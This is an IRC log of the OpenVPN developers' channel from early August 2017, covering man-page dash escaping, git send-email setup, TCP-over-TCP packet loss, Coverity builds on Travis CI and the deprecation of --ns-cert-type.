10:16 < slypknot> it should be "\-\-verify\-x509\-name Server- name-prefix 10:16 < slypknot> or with the escapes 10:17 < slypknot> i know its trivial which is why i am trying to fix it 10:17 < slypknot> the 2.3 man page is correct 10:17 * slypknot checks 2.3 for escapes 10:18 <@ecrist> yes, that looks like a man page formatting bug 10:19 <@dazo> slypknot: when you see only '-' in the man page file, that is most likely a bug .... all '-' should in most cases be escaped 10:19 < slypknot> yeah and 2.3 has \-\-verify\-x509\-name Server- name-prefix 10:19 < slypknot> so ^ ? 10:21 * dazo looks more carefully 10:21 < slypknot> it's a lot of jumping thru hoops for such a trivial change ... 10:22 <@dazo> yeah, it's just we've burnt ourselves so many times on trivial changes :) 10:23 < slypknot> i do remember the time (not long ago) when master failed to build after you did something quite trivial ;) 10:23 <@dazo> slypknot: do you think you could reformat that whole paragraph slightly, so that the examples appears more obviously like examples? 10:24 <@dazo> slypknot: but yes, it should be 'name-prefix', _not_ '-name-prefix' ... that's for sure ... but would be good to clean up that whole paragraph too while at it, if you have a chance to do so 10:25 < slypknot> hmm .. on the web page it looks fine (except for the actual bug) so not really sure what you mean 10:26 < slypknot> unless you just want a little space between the exanples 10:33 < slypknot> dazo: there are plenty of examples of "-" not "\-" eg. man-in-the-middle .. should all dashes be escaped ? that would at least be a reason to persue this .. 10:33 < slypknot> ecrist: thanks also 10:40 <@dazo> slypknot: 10:40 <@dazo> slypknot: yes, it's historic reasons .... we had a massive clean-up of this, based on a Debian patch ages ago ... and even that one didn't cover all scenarios 10:41 <@dazo> in the meantime the man synatx checkers have also gotten a bit better too, so more of the missed one got noticed ... but still not all 10:45 <@dazo> slypknot: http://imgur.com/a/tFOvX ... that's how it looks like for me 10:45 <@vpnHelper> Title: Imgur: The most awesome images on the Internet (at imgur.com) 10:46 < slypknot> dazo: now i see what you mean ;) 10:47 <@dazo> slypknot: it would be nice to have something like the --up example here: http://imgur.com/a/5IKgN 10:47 <@vpnHelper> Title: Imgur: The most awesome images on the Internet (at imgur.com) 10:47 <@dazo> oh ... and I spot a misalignment in --script-security too ... '1' have a space too much :-P 10:48 <@dazo> 3 as well 10:48 <@dazo> (we so much need to get the man page into a editing friendly format) 10:49 * slypknot smells a rotten egg job looming 10:51 < slypknot> i would like to see -name-prefix corrected .. then perhaps i can spend time on the manual itself 10:51 <@dazo> sure 10:51 < slypknot> so the Q. remains .. if i correct that line should all dashes be escaped ? (in the effected line) 10:54 <@dazo> slypknot: yes 10:54 < slypknot> ok thanks :) 10:56 < slypknot> related to that: what width screen sould the man page be formatted for, I am guessing 80x 10:57 <@dazo> slypknot: yeah, the "source man file" should be approx 80 chars per line 10:57 <@dazo> (the parsed man file will reformat it automatically) 10:58 < slypknot> ok 10:58 < slypknot> thanks 13:54 < eworm> Good evening everybody! 13:55 <@syzzer> gnight :) 13:56 <@cron2> meow 13:56 <@ordex> morning eworm 13:56 < eworm> Looks like I missed the meeting, no? :-p 13:56 <@cron2> meeting is in #openvpn-meeting 13:56 < eworm> oh 16:01 <@syzzer> ordex: good morning! (assuming you will read this after waking up) 16:01 <@syzzer> I have an interesting read about yet another TLV implementation for you: http://blog.exodusintel.com/2017/07/26/broadpwn/ 16:01 <@syzzer> :p 19:38 <@ordex> syzzer: thanks :D will read 19:39 <@ordex> syzzer: ah I have read that already hehe..well :D 19:55 < slypknot> ordex: morning :) 19:55 <@ordex> morning :) 19:55 < slypknot> do you use git send-email ? 19:55 <@ordex> of course 19:55 <@ordex> it's the only way to send patches :P 19:56 < slypknot> i must be missing a cog .. 19:57 < slypknot> i can't get it to LOGIN to gmail 19:58 <@ordex> mh never used it with gmail 19:58 <@ordex> but usually you have to set the server and the username 19:58 <@ordex> and possibly a from 19:58 < slypknot> i have set everything 19:59 <@ordex> and what do you get when you try to send it ? 19:59 <@ordex> send *a patch 19:59 <@ordex> have you set any smtpencryption as well ? 19:59 < slypknot> yup 19:59 < slypknot> i wrote a shell script to pass everything just for one stupid patch 20:00 < slypknot> i get all the TLS handshake 20:00 < slypknot> but i cannot get it to send the password 20:01 < slypknot> on the git website we find --smtp-auth=LOGIN .. on my debian version of git --smtp-auth is not a recognised option 20:01 < slypknot> it's like wtf ! 20:02 < slypknot> git version 2.1.4 20:02 < slypknot> is that too old ? 20:03 < slypknot> hmm maybe it is 20:03 < slypknot> jeez .. too effin old by a mile ! 20:04 < slypknot> git version 2.13.3 20:07 < slypknot> ordex: have a good day :) 21:21 <@ordex> slypknot: git version 2.13.3 21:21 <@ordex> here 21:21 <@ordex> and I have that here --- Day changed Thu Aug 03 2017 01:32 < eworm> Good morning everybody! 01:32 < eworm> Is the complete log from yesterday's meeting available? 02:16 <@syzzer> slypknot: do you use 2FA with gmail? You'll need to create an application password in that case. 02:18 <@syzzer> eworm: https://delft.syzzer.nl/zut/openvpn-meeting-2017-08-02.log 02:19 < eworm> syzzer: Thanks! 02:42 <@syzzer> dazo: https://community.openvpn.net/openvpn/wiki/TlsCryptV2Patches 02:42 <@vpnHelper> Title: TlsCryptV2Patches – OpenVPN Community (at community.openvpn.net) 02:46 < eworm> btw, is the netlink patch available? 03:06 < qmq> hi, I've asked this on #openvpn but this is probably a better place as it requires dev knowledge (I assume): 03:06 < qmq> I'm seeing odd behavior using OpenVPN and hoping someone can tell me why, or point in the right direction. I'm using a TCP connection as the physical link isn't 100% stable (there is some packet loss I cannot control - crappy ISP). A typical packet loss ratio is around 1%. When using VPN over TCP I would expect the measurement to return 0 loss, but that's not the case. How can that be? (yeah, it is 10x smaller, but still happens ar ~0.1%) 03:06 < qmq> I expected it to retry "on the VPN level" (OpenVPN retransmitting it's packets etc) and effectively offer a "perfect connection" within the VPN 03:24 <@syzzer> I'm not really the networking expert, but if I'd have to guess, I'd guess that the underlying TCP is too busy retransmitting packets that the buffers fill up, and new packet can not be accepted anymore. The drops probably happen at the tun side, while openvpn is waiting to transmit a packet over TCP. 03:52 <@cron2> openvpn also has an internal queue max length (we had some issue with "bool" there once), so that might also play into it 03:53 <@ordex> eworm: yes, should be in my "sitnl" branch 03:53 <@ordex> https://github.com/ordex 03:53 <@vpnHelper> Title: ordex (Antonio Quartulli) · GitHub (at github.com) 03:55 < eworm> ordex: Thanks, will have a look! 03:55 <@ordex> eworm: cool! 04:01 < eworm> I need "Introduce sitnl: the Simplified Interface To NetLink" and following fixes? 04:07 <@ordex> eworm: lt me check 04:07 <@ordex> I think the patch is based on some patches that are still pending on the ml (i.e. patches to get rid of various warnings) 04:08 <@ordex> eworm: ah no. they got merged. so yes, you need all the patches 04:08 <@ordex> but I will actually squash them all now 04:08 <@ordex> wait a sec 04:09 <@ordex> eworm: if you check now there should be only one patch 04:16 < eworm> yes 04:16 < eworm> thanks! 04:18 <@ordex> eworm: np :) 04:26 < qmq> sorry, was afk on a meeting, thanks syzzer and cron2 :) is there a way to monitor this internal queue's length somehow? 06:05 < slypknot> does anybody here use @gmail.com from git send-email ? 06:21 < eworm> ordex: Looks like openvpn with netlink works just fine. :D 06:22 < eworm> Is this pending for 2.5 or will we see it in 2.4.x? 06:25 <@syzzer> qmq: don't know about the internal queue, but the tun stats should be available through "ifconfig tunX" 06:27 <@ordex> eworm: definitely not 2.4 - itis on the route to be stable, so no new invasive features 06:27 <@ordex> eworm: it lacks more review and proper ack by the others 06:28 < eworm> that's what I was expecting ;) 06:28 <@ordex> hehe :) 06:29 <@ordex> maybe I will send it to the ml once more pending patches have been merged 06:36 < qmq> syzzer: yeah, and those say 48 dropped (client side) [can't check server side, power outage... :D ] but I still would expected all the retransmissions to happen on the normal link layer and that the virtual link layer is "perfect" - investigating... 06:39 <@syzzer> qmq: well, everything has queues and if they fill up, someone will have to drop the packet 06:41 <@syzzer> you con not magically send 10 mbit/s UDP packets over an 1 mbit/s link, not even if you put TCP underneath ;-) 06:41 < qmq> true that, it's a fact that I'm testing with iperf which actually is a perf tool, not a "stability" tool 06:41 < qmq> but the speeds are way under what they should be (in theory) 06:42 <@syzzer> that might be because you're doing TCP-over-TCP? 06:42 <@syzzer> that causes strange ineractions between the two TCP layers 06:42 < qmq> i.e. 100/10 Mbit but I only get 50/7 via OpenVPN (with everything disabled, for testing) 06:43 < qmq> oh it does? I just assumed it's not very good in performance 06:43 < qmq> i.e. that that just makes little sense 06:44 < qmq> but SHOULD work and the TCP inside another TCP should see a "perfect link" 06:44 < qmq> will experiment with UDP then, but that gives significantly less bandwidth (which actually is the entire reason for all this testing) 06:48 < CRCinAU> also, change your cipher to AES-256-CBC 06:48 < CRCinAU> if you have the aes cpu flag, that will ensure you're using hardware accelerated crypto 06:48 < CRCinAU> also run the openssl speed tests for various ciphers - especially if you're on a low CPU power system 06:50 <@syzzer> qmq: no tcp in tcp doesn't need to see a perfect link. if the outer TCP is congested, the inner TCP will send packets that are dropped by (e.g.) the tun device. The inner TCP stack will retransmit those packets, but you'll still see packet loss on the tun device. 06:51 < qmq> CRCinAU: I'm testing with no encryption whatsoever, to pinpoint the problem 06:52 < qmq> and no, the router doesn't have the hardware aes extension I'm afraid, but I only need it to do those 10Mbit 06:54 < qmq> it was able to sustain 6Mbit with ~90% CPU, so I decided to test with different (simpler) encryption, but then I saw those drops etc and I'm looking into that now, before I go back to encryption 06:54 <@syzzer> sounds like a good approach to figure out what's happening :) 06:55 < qmq> syzzer: so, ifconfig tun0 shows me the drops WITHIN the tunnel, correct? 06:55 <@syzzer> qmq technically, drops *before* packets enter the tunnel 06:55 < CRCinAU> ah - no AES... that's gotta suck :p 06:56 <@syzzer> i.e. drops because the tun device could not deliver the packet to openvpn 06:56 <@syzzer> (because openvpn busy / queue full / ...) 06:57 < qmq> syzzer: oh, so those originate from openvpn not being able to "inject" into tun0's stack, correct? 06:58 < qmq> CRCinAU: yeah, that's life - I may go looking for a router WITH aes after I'm done with testing the link itself 06:58 <@syzzer> egress packets go tun -> openepnv -> wan. the drops are in the tun -> openvpn bit. 06:58 < qmq> if (and that's how it loos now) it's unable to deliver 10Mbit - there's no need for that :P 07:01 < qmq> syzzer: https://community.openvpn.net/openvpn/attachment/wiki/Gigabit_Networks_Linux/OpenVPN-packetflow.png 07:01 <@vpnHelper> Title: OpenVPN-packetflow.png on Gigabit_Networks_Linux – Attachment – OpenVPN Community (at community.openvpn.net) 07:02 < qmq> so, since I'm talking client-side here, the drops are betwean openssl and tun0, correct? 07:03 < qmq> ooh, power back 07:03 < qmq> can check server side 07:33 < CRCinAU> lol 07:34 < CRCinAU> so an update to RHEL 7.4.... the iptables service fails to launch on reboot cos things have changed.... 07:34 < CRCinAU> Report it on bugzilla.redhat.com - 24 hours on, nothing.... Lodge a support case (even though I only have a freebie developer account) 07:35 < CRCinAU> guy comes back "You only have a 'Self Support' service, please search our knowledge base" etc 07:36 < CRCinAU> what does he want me to say - "Oh, ok bro. We'll just leave your paying customers with no firewall until they figure it out and lodge a report instead" 07:36 < CRCinAU> I mean, shit - I did everything but include a patch! (although I did include the fix) 07:38 <@syzzer> qmq: in this picture I'd expect the drops between 'tun0' and 'openssl encrypt' 07:53 < qmq> CRCinAU have you signed it with your private certificate? If no than you can't blame them... ;) 07:54 < CRCinAU> heh 08:03 < qmq> syzzer gott go, thanks for help! will return to this tomorrow, cya 10:13 < slypknot> dazo: sorry .. just sent you an email by mistake :( 10:14 < slypknot> please disregard this: Subject: [PATCH] cleanup: Move write_pid() to where it is being used from debbie10t 10:26 <@syzzer> oh, slypknot, I do use git send-email with gmail servers, but it sounds like you got it working? 10:27 <@syzzer> not that I can show you my config, because it's at home and those machines are turned off now :-p 10:32 < CRCinAU> yay 10:32 < CRCinAU> https://access.redhat.com/solutions/3138851 10:32 <@vpnHelper> Title: iptables and ip6tables services failed to start during booting in RHEL 7 - Red Hat Customer Portal (at access.redhat.com) 10:59 < slypknot> syzzer: yeah it works with a little help from freenode.#git (i was not sending my username *facepalm*) 11:00 <@syzzer> hahaha :') 11:00 < slypknot> still i now have working git send-email (oooh the pain!) 11:01 < slypknot> next .. learn C 11:01 <@syzzer> here come the patches! 11:02 <@syzzer> I thought you would become our groff expert 11:03 * slypknot googles groff 11:04 <@syzzer> (the man page format language) 11:05 < slypknot> I might have a go at it but the format seems ok generally 11:07 < slypknot> my first patch hits the ML .. now for the fall out ! 11:09 < slypknot> hmm not there .. what did i do wrong now ? 11:10 <@syzzer> can take a little while 11:11 <@syzzer> arrived in my mailbox :) 11:11 <@syzzer> you did use a different mailbox that the signed-off-by says, might be better to use that mailbox 11:12 <@syzzer> anyway, details. congrats on your first patch ;-) 11:13 <@syzzer> if your patches become bigger, it's good to read this blog post: https://chris.beams.io/posts/git-commit/ 11:13 <@vpnHelper> Title: How to Write a Git Commit Message (at chris.beams.io) 11:15 * slypknot is stupid .. i won't get that in my inbox from the list cos i sent it ! 11:52 <@dazo> slypknot: I get copy of all my mails sent to the ML (that's the default, the envelope-sender (Return-Path in the mail headers) should be the mailing list address 11:53 <@plaisthos> I too 11:53 <@plaisthos> But I have the faint memory that I changed that 11:53 <@plaisthos> check if sf has a setting for that 13:14 < slypknot> syzzer: just curious .. can you write me a better commit msg for reference ? :) 13:29 < slypknot> I am guessing something short 'n sweet .. eg: Correct manpage --verify-x509-name example 13:36 < slypknot> hehe .. git log == bitcoin (sort of) 16:04 <@dazo> slypknot: the URL he pointed at is fairly good .... but generally, a short descrption (as you suggest) a blank line and then, if appropriate (strive to make it appropriate) description of _why_ the change is needed 16:06 <@dazo> So for example, the subject line "man: Improve --verify-x509-name section" ... and in the description something like "The example used had a typo which would not work. Also fix a few escaping issues while at it" .... and then a blank and the Signed-off-By lines (added automatically by git commit -s) 16:06 * dazo heads home now 17:03 < slypknot> dazo: ok 17:22 < slypknot> dazo: do those other dashes really need escaping if they are all individually within quotes ? 17:36 <@ordex> no clue --- Day changed Fri Aug 04 2017 02:23 <@syzzer> slypknot: yeah, they do. The escaping is to tell man / troff the difference between "dash" and "minus" (where one is probably a few pixels wider than the other) 02:24 <@syzzer> in older (or exotic?) versions of man, doing a search like "/--tls-auth" would not yield any results, because it would go looking for dashes, while the non-escaped "-" would be a minus. 02:25 <@syzzer> (all man version I ever encountered match both, but we got a report that some versions don't a while ago_ 02:49 <@plaisthos> I think I had a version that did not do this 03:04 <@dazo> ordex: you around? 03:05 <@ordex> dazo: yes 03:06 <@dazo> ordex: meeting? 03:06 <@ordex> yes! 03:06 < CRCinAU> oh, is that now? 03:06 <@ordex> joining jabber 03:06 < CRCinAU> observers welcome? :P 03:06 <@dazo> CRCinAU: it's an internal one ... ordex wasn't online on the internal chat :) 03:07 < CRCinAU> ah. righteo .. I know when I'm not wanted ;) 03:07 < CRCinAU> heh 07:32 < slypknot> you would think after some 50 years of computer science some bright spark would come up with a solution to the dash vs minus vs hyphen fiasco .. it's absurd and typical of technocrats .. I mean, if you actually look at a stabndard keyboard there is only one symbol and that is a minus sign so why not just use that every where and stop being so anal about it 07:34 <@ordex> :D 07:40 <@syzzer> slypknot: it's all in the name; the t in troff is for typesetting. And typesetters earn their money being anal about this stuff :p 07:49 < slypknot> exactly .. well they should all be shot ^ 07:49 < slypknot> any hoo 07:50 < slypknot> how do i get current --iroute's ? 07:50 < slypknot> staus 2 ? 07:50 < slypknot> status ^ 07:52 < slypknot> got it .. status 2 08:03 < slypknot> so in groff/troff is it not possible to have a document format that explicitly defines all dashes (no matter what the clever dick who tried to use a hyphen does) so that the output always uses a minus sign (which is after all the only dash symbol on a standard keyboard) 08:03 < slypknot> or is that just the point of escaping it ? 08:05 < slypknot> http://lists.gnu.org/archive/html/groff/ 08:06 <@vpnHelper> Title: groff Archives (at lists.gnu.org) 08:08 <@syzzer> slypknot: I don't know and I don't really want to know either :-p somebody told me "escape thy dashes, it makes searching work", so I do that. 08:11 < slypknot> i'm gonna lurk on the groff mailing list for a while .. i just did a search in the archive and as recently as may 2017 there is active discussion about ASCII minus sign .. 08:19 <@syzzer> :') 10:02 <@vpnHelper> RSS Update - gitrepo: cleanup: Move write_pid() to where it is being used <https://github.com/OpenVPN/openvpn/commit/c5b12817c9aa3ae97fbdd2c2a9a9ab605087dff1> || tls-crypt: avoid warnings when --disable-crypto is used <https://github.com/OpenVPN/openvpn/commit/2dfbf62b6ace1eb39f1ae7126bc5530a541bed58> || management: preserve wait_for_push field when asking for user/pass <https://github.com/OpenVPN/openvpn/commit/3322c558fa742cb823fa 13:21 <@dazo> just a heads-up from Fedora land ... I got approval for adding --cipher AES-256-GCM --ncp-ciphers AES-256-GCM:AES-128-GCM:AES-256-CBC:AES-128-CBC:BF-CBC to the systemd unit file for server configs (openvpn-server@.service) in Fedora 27 (next major update) ... so unless any odd issues are found, OpenVPN servers on Fedora 27 (and newer) will by default have a migration plan ready to move away from BF-CBC for 2.3 clients 13:22 <@dazo> (unless configuration files already use --cipher, naturally) 13:40 <@cron2> cool 13:47 < CRCinAU> yay 22:03 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Read error: Connection reset by peer] 22:12 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 22:12 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Sat Aug 05 2017 08:29 -!- dazo [~dazo@openvpn/corp/developer/dazo] has quit [Ping timeout: 255 seconds] 08:52 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 08:52 -!- mode/#openvpn-devel [+o dazo] by ChanServ 21:46 <@vpnHelper> RSS Update - tickets: #923: Easy-RSA configuration fails with error:0E065068 <https://community.openvpn.net/openvpn/ticket/923> 22:02 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Read error: Connection reset by peer] 22:12 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 22:12 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Sun Aug 06 2017 10:56 < CRCinAU> dazo: LOL 10:57 < CRCinAU> The P is in VPN is not about 'Private' - its about Piss off with your stupid questions. 10:57 < CRCinAU> ;) --- Log closed Sun Aug 06 18:05:22 2017 --- Log opened Mon Aug 07 06:50:33 2017 06:50 -!- Irssi: #openvpn-devel: Total of 26 nicks [8 ops, 0 halfops, 3 voices, 15 normal] 06:50 -!- mode/#openvpn-devel [+o ecrist_] by ChanServ 06:50 -!- Irssi: Join to #openvpn-devel was synced in 8 secs 06:51 -!- You're now known as ecrist 09:29 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 258 seconds] 09:30 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 09:30 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 09:47 <+krzee> hey guys 09:48 <+krzee> !minutes 09:48 <+krzee> !factoids search --values minutes 09:48 <@vpnHelper> 'read' and 'meetings' 09:49 <+krzee> !meetings 09:49 <@vpnHelper> "meetings" is (#1) OpenVPN developers meetings are usually held on Mondays @ 18:00 UTC. Ask mattock, cron2 or dazo for latest info. Meetings are normally announced in advance on the openvpn-devel mailing list, or (#2) Meeting agendas and minutes are here: https://community.openvpn.net/openvpn/wiki/IrcMeetings 10:13 <+krzee> anybody have the log of the latest meeting handy? my laptop has been having problems so i was unable to save the buffer from it but i saw my input was wanted 10:14 <+krzee> i read it but its a dense subject so i need to read it again before i know what input of mine is wanted 10:38 <@dazo> krzee: I need to run very soon, but unless anyone appears before me when I'm back - I'll dig it up and send you 15:40 < slypknot> is there a page which describes what the ticket colours mean on trac ? is it a global or openvpn specific thing ? 15:47 <@dazo> ticket colours? (perhaps that answers your question too .....) 16:00 < slypknot> dazo: huh ? what did i miss ? 16:06 < slypknot> FYI: colour denotes Priority (took a while to find but .. ) 16:11 < slypknot> Altho .. "Group results by |Priority| [X] Descending" == "Top: Spam, Next: Trivial .. Last: Blocker" so that seems like a trac bug .. 16:52 <@dazo> slypknot: what I meant is that we've probably not cared too much about colours, just used whatever the defaults was 16:52 <@dazo> I honestly have never reflected over the various colours in use 17:23 < slypknot> dazo: i was just curious .. anyway they are for priority but I don't think openvpn ppl bother to use it as it can be set by the creator 17:24 < slypknot> so forget it :) 19:33 <@ordex> krzee: did you get the log of the meeting? 23:49 <+krzee> ordex: not yet --- Day changed Tue Aug 08 2017 02:19 <@syzzer> krzee: http://delft.syzzer.nl/zut/openvpn-meeting-2017-08-02.log 04:05 <@ordex> syzzer: do you still remember how the coverity thing works? :) why do we use a separate branch and not master directly? 04:07 <@syzzer> ordex: because (1) we did not yet have any .travis.yml in the repository when I started using it and (2) we can do a limited amount of 'builds' only. 04:08 <@syzzer> oh, and we run in on the most recent release branch, because the free OSS license we use doesn't seem to handle running on multiple branches well 04:14 <@syzzer> but yeah, I think we should just merge the coverity build into the now-existing .travis.yml 04:15 <@ordex> syzzer: mh I am not sure how coveruty integrates with travis 04:15 <@ordex> I thought they were totally separated things 04:16 <@ordex> *coverity 04:17 <@syzzer> if you know of other ways to use coverity, I'm all ear :) 04:17 <@ordex> but if the amount of bulds is limited, I unerstand it can't be run "continuosly" 04:17 <@syzzer> it's like '3 bulids per week' or so 04:17 <@ordex> oh ok, well still enough I think (we probably merge patches less frequently :P) 05:18 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 05:20 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 05:20 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 05:26 <@ordex> syzzer: my understanding is that you have to use the software from coveruty to push a build for testing. Howver, I have never done that personally. Is travis.xml involved when using their software? 05:26 <@ordex> *coverity 05:38 <@syzzer> ordex: ah, yes, you can basically run their scripts to do the "travis-bit" on some other machine too 05:39 <@syzzer> but we'd need to create our own build bot for that 05:39 <@syzzer> easier to use travis in that case 05:40 <@ordex> uhm, but I still don't get what is the travis-bit? isn't the purpose of coverity to send them the build and let them run the verification? 05:41 <@syzzer> yes, but you need to do the build yourself 05:42 <@syzzer> you do an 'instrumented' compile, and upload that for analysis 05:44 <@syzzer> https://github.com/OpenVPN/openvpn/commit/54877c72 05:44 <@vpnHelper> Title: Add coverity static analysis to Travis CI config · OpenVPN/openvpn@54877c7 · GitHub (at github.com) 05:52 <@ordex> syzzer: ah ok 05:53 <@ordex> syzzer: so what you are syaing is that we should let travis-ci prepare the build for coverity? 05:53 <@ordex> ah this is what your branch does 05:53 <@ordex> now I understand 05:53 <@ordex> the only problem with this approach is that we can't control the 3 build per week maybe 05:54 <@ordex> and everybody could push a coverity build (I guess?) 05:56 <@syzzer> everyone with push right on that branch, which right now is maintainers + me 05:58 <@syzzer> it's been quite a while since I updated that branch... time to do that once more 05:58 <@ordex> syzzer: what if somebody gets the travis.xml with the token and uses it in his own branch ? can't it be done? 05:59 <@syzzer> nope, it's somewhat like the tls-crypt-v2 encrypted cookies with metadata ;-) 05:59 <@syzzer> tied to the project 05:59 <@ordex> :D 05:59 <@ordex> ok 05:59 <@ordex> syzzer: what if we had a cronjob on some server that merges master into that branch, pushes it and thus triggers a build? 06:00 <@syzzer> probably better to just integrate it into release/2.4 06:00 <@syzzer> I'll look into it 06:00 <@ordex> oky 07:37 <@dazo> *sigh* https://twitter.com/purevpn/status/890500116360122368 .... "PureVPN: TCP is more secure than UDP" ..... 07:39 < eworm> ugh... 07:40 < Thermi> >:D 07:40 < eworm> purevpn is the provider still using md5 certs, no? 07:40 < Thermi> Smash the idiots 07:40 < eworm> Better not to go with them. :-p 07:40 < Thermi> Nearly 100% of the VPN providers are run by idiots trying to make quick cash 07:41 < Thermi> This isn't really surprising for me. 08:03 < slypknot> not only that but .. they ask on the forum for somebody to do it for them .. for free ! 08:12 <@cron2> wha, "1 new defect found"? 08:16 <@cron2> oh, it is confused by #ifdefs (I can understand that - so am I) 09:06 < slypknot> Does openvpn for android support tls-crypt ? 10:45 <@vpnHelper> RSS Update - tickets: #924: OpenVPN 2.4.3 fails when configured with keysize 384 <https://community.openvpn.net/openvpn/ticket/924> 10:48 <@syzzer> slypknot: yes 11:49 <@vpnHelper> RSS Update - tickets: #925: Encrypted Backend Management Interface <https://community.openvpn.net/openvpn/ticket/925> 12:10 < slypknot> syzzer: thanks 12:12 < slypknot> is that Openvpn connect app or Arnie's version ? 13:35 <@cron2> slypknot: "OpenVPN for Android" is not "OpenVPN Connect", as the name says :) 13:36 <@cron2> syzzer: #904? (the supposed duplicate of #924) 13:40 <@cron2> #925... people are weird 13:55 <@syzzer> cron2: woops, that's two mess-ups in one :/ A 904/906 typo, but even that is not the ticket. The patch is not applied yet, it's still waiting for review (<1500573357-20496-1-git-send-email-steffan@karger.me>) 13:55 <@syzzer> reopening... 14:00 < slypknot> uummm .. which version _does support --tls-crypt then ? I am confused .. :( 14:00 <@syzzer> slypknot: "OpenVPN for Android" does 14:01 < slypknot> ok .. tanks ! 14:01 <@syzzer> as it's basically the master branch 14:01 < slypknot> ah ok .. did not know that thanks 14:02 < slypknot> i thought it was a connect was google ? 14:02 <@syzzer> Connect is from OpenVPN Tech 14:03 < slypknot> ok 14:03 * slypknot is probably one of the few netizens without an Andoid device 14:28 <@syzzer> cron2, dazo: verdict - line breaks in travis scripts on-the-fly when applying or shall I ask Ilya for a v2? 14:39 <@cron2> syzzer: line breaks as in "wrapped when sending in"? 14:40 <@syzzer> as in, long line that needs to be wrapped before applying 14:40 <@syzzer> 160-something chars is really a bit too much 14:41 <@cron2> so the patch is syntactically fine, but needs to be cleaned up 14:41 <@syzzer> yes 14:42 <@cron2> mmmh, in C code I could test that and do on-the-fly, but the travis stuff is "it will happen after I pushed the broken version", so I'm not sure 14:42 <@syzzer> I'll just ask for a v2 then 14:46 <@dazo> yeah, agreed 14:46 <@cron2> +1 15:06 <@cron2> syzzer: you want to migrate 2.3 to openssl 1.1? 15:06 <@syzzer> cron2: hehe, no, definitely not 15:06 <@syzzer> but I do want 2.3 users to see deprecation warnings 15:07 <@cron2> ah... "we want 2.4 users to use 1.1, so 2.3 users should better prepare" 15:07 <@syzzer> exactly :) 15:07 <@syzzer> (and I want to close #876) 15:39 <@dazo> Hmmm ... I don't mind the warnings when --ns-cert-type is used ... but as both --remote-cert-tls and --ns-cert-type takes only one argument and only the values 'client' or 'server' ... perhaps we should let --ns-cert-type be an alias for --remote-cert-tls to avoid breaking existing configurations? 15:40 <@dazo> (--remote-cert-tls should be as today, while if --ns-cert-type is used let it complain loudly and behave like --remote-cert-tls) 15:42 <@dazo> And then we can remove it a future release (2.5 or 2.6, depending on how quickly 2.5 gets outs) .... If the moving from 2.3 to 2.4 in Fedora land taught me something, it is that people use old configuration files and don't watch logs that carefully - so a long period with warnings can help ease the migration 17:41 <@plaisthos> slypknot: Arnie is a completely wrong pronounciation of Arne which Americans tend to insit on :P 18:16 < slypknot> sorry .. won't happen again 18:16 < slypknot> plaisthos: ^ 19:48 <@ordex> morning 22:24 <@ordex> cron2: I don't think it is correct to say "it got confused by the #if", because when "#if OPENSSL_VERSION_NUMBER >= 0x10002000L" is true and curve_name is NULL, we actually never get to "EC_KEY *eckey = NULL;" 22:25 <@ordex> cron2: so it is deadcode in that case. more appropriate would be to remove that code when the VERSION_NUMBER is less than that constant. but this might mean pollute the code with more ifcr0p 22:26 <@ordex> cron2: which triggers the question: why do we have another similar #if inside that branch? maybe I am confused too 23:12 < CRCinAU> there's too much productive text here :P 23:12 < CRCinAU> I have to talk shit to make the ratio of signal:noise become more inline with the rest of the internet. 23:36 <@ordex> lol --- Day changed Wed Aug 09 2017 02:12 <@syzzer> ordex: adding more #ifs in that code will only make it harder to read. I already marked the coverity report as 'Ignore', and added a comment describing that this is for openvssl <= 1.0.1 02:14 <@ordex> syzzer: yeah..but how about my second question: "why do we have another similar #if inside that branch?" ? 02:14 <@ordex> it seems like the following #if is misplaced as we can't get there if openssl < 1.0.1 02:21 <@syzzer> ordex: because SSL_CTX_get0_privatekey() is an openssl-1.0.2+-only function 02:21 <@syzzer> (and curve_name != NULL) 02:23 <@ordex> uhm, we get there only if curv_name == NULL 02:23 <@ordex> no ? 02:23 <@ordex> it is in the else branch 02:24 <@syzzer> oh, indeed 02:24 <@ordex> thus we can't really hit that, because under the same conditions we would have hit the return already 02:25 <@syzzer> you're right - feel free to send a patch to rip it out 02:26 <@ordex> syzzer: so basically we can get rid of the entire #if/#else/#endif and keep only the part in the #else, right ? 02:26 <@syzzer> would be even better to merge the two if's 02:26 <@ordex> yeah 02:26 <@ordex> I was just thinking about that 02:26 <@ordex> to make it easier to understand 02:27 <@syzzer> right 02:27 <@ordex> ok, will do. thanks for checking with me :) 02:27 <@syzzer> np, good catch 03:48 <@syzzer> dazo: sure, I think that makes sense. But that doesn't mean we can't already tell users that it will be removed. Some sense of urgency on their part is probably good. 03:49 -!- Netsplit *.net <-> *.split quits: +krzee, @mattock 04:33 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 04:33 -!- mode/#openvpn-devel [+v krzee] by ChanServ 04:34 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 04:34 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:34 -!- mode/#openvpn-devel [+o mattock] by ChanServ 06:15 <@dazo> syzzer: I completely agree, we need to start yelling at users ASAP :) 06:20 < eworm> Yelling at users? Why? :-P 06:21 < slypknot> if --ns-cert-type then while true print ^H .. 06:24 <@syzzer> eworm: did you have an opinion about the tls-crypt option name discussion? 06:24 <@syzzer> * tls-crypt-v2 06:25 < eworm> not yet 06:25 < eworm> I saved the meeting log, but did not catch up 06:26 <@syzzer> just so you know, refusing to comment is a valid response too :) 08:02 < CRCinAU> meanwhile, users be like: https://www.youtube.com/watch?v=2Hf-B9Tqkss 11:50 <@ecrist> syzzer: why not do it like --status? if there's no version, use default 1, otherwise use <ver> 13:09 <@syzzer> because we support using 1 and 2 simultaneously :) 13:09 <@syzzer> ecrist: ^^ 15:21 